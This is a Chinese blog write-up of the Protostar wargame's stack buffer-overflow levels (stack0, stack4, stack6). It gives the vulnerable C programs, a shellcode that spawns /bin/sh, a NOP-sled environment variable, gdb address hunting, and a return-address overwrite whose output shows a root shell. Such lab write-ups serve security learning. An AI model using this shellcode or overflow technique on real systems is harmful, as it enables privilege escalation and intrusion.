u011500307的专栏

这个网站是。

Stack 0:

#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64];modified = 0; gets(buffer); if(modified != 0) {printf("you have changed the ‘modified’ variable\n"); } else {printf("Try again?\n"); }}直接输入65个A就可以了。$ python -c ‘print "A"*65’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ ./stack0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyou have changed the ‘modified’ variable$

Stack 4:(下面的方法还可以用于stack5)

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); }int main(int argc, char **argv){ char buffer[64]; gets(buffer);}用的shellcode是网上找的:\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80下面是过程:$ python -c "print ‘\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80’" > /tmp/shellcode.bin$ cat /tmp/shellcode.bin11Sh/ttyh/dev1f’1Ph//shh/binPS$ export export SHELLCODE=$(perl -e ‘print "\x90"x200’)^C$ export SHELLCODE=$(perl -e ‘print "\x90"x200’)$(cat /tmp/shellcode.bin)$ envUSER=userMAIL=/var/mail/userOLDPWD=/opt/protostarHOME=/home/userLOGNAME=userTERM=xtermPATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/gamesLANG=en_US.UTF-8SHELL=/bin/shPWD=/opt/protostar/binSHELLCODE=11Sh/ttyh/dev1f’1Ph//shh/binPS$ python -c ‘print "A"*76 + "\x5a\xff\xff\xbf"’ | ./stack4 # iduid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)# whoani/bin//sh: whoani: not found# whoamiroot上面的那个返回地址是由下面算出的,就是找到shellcode的环境变量前面的那个地址0xbffffecf,因为加了200个nop,直接取这中间的一个就可以,我是加了119就得到上面那个返回地址了。$ gdb ./stack4GNU gdb (GDB) 7.0.1-debianCopyright (C) 2009 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty" for details.This GDB was configured as "i486-linux-gnu".For bug reporting instructions, please see:<>…Reading symbols from /opt/protostar/bin/stack4…done.(gdb) break mainBreakpoint 1 at 0x8048411: file stack4/stack4.c, line 15.(gdb) runStarting program: /opt/protostar/bin/stack4 Breakpoint 1, main (argc=1, argv=0xbffffcd4) at stack4/stack4.c:1515stack4/stack4.c: No such file or directory.in stack4/stack4.c(gdb) i r espesp0xbffffbd00xbffffbd0(gdb) x/24s $esp+0x2400xbffffe10: "r"0xbffffe12: "HOME=/home/user"0xbffffe22: "OLDPWD=/opt/protostar"0xbffffe38: "LOGNAME=user"0xbffffe45: "COLUMNS=80"0xbffffe50: "TERM=xterm"0xbffffe5b: "PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"0xbffffe99: "LANG=en_US.UTF-8"0xbffffeaa: "SHELL=/bin/sh"0xbffffeb8: "PWD=/opt/protostar/bin"0xbffffecf: "LINES=24"0xbffffed8: "SHELLCODE=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"…0xbfffffa0: "\220\220\220\220\220\220\220\220\220\220\061\300\061\006Sh—Type <return> to continue, or q <return> to quit—/ttyh/dev\211\343\061\311f\271\022’\260\0051\300Ph//shh/bin\211\343PS\211\v"0xbfffffe2: "/opt/protostar/bin/stack4"0xbffffffc: ""0xbffffffd: ""0xbffffffe: ""0xbfffffff: ""

stack 6:

#include <stdlib.h>#include <unistd.h>#include <stdio.h>#include <string.h>char *getpath(){ char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xb0000000) == 0xb0000000) {printf("bzzzt (%p)\n", ret);_exit(1); } printf("got path %s\n", buffer); return strdup(buffer);}int main(int argc, char **argv){ getpath();}这道题主要就是防止eip转到栈上去执行shell(环境变量也在栈上,,上面的用环境变量来存储shellcode的方法也不行)。现在主要是绕过0xbf000000这个检测(linux下的栈都是0xbf开头)。如果困难是地上的荆棘,我们脱掉鞋子,光着脚笑笑,

u011500307的专栏

相关文章:

你感兴趣的文章:

标签云: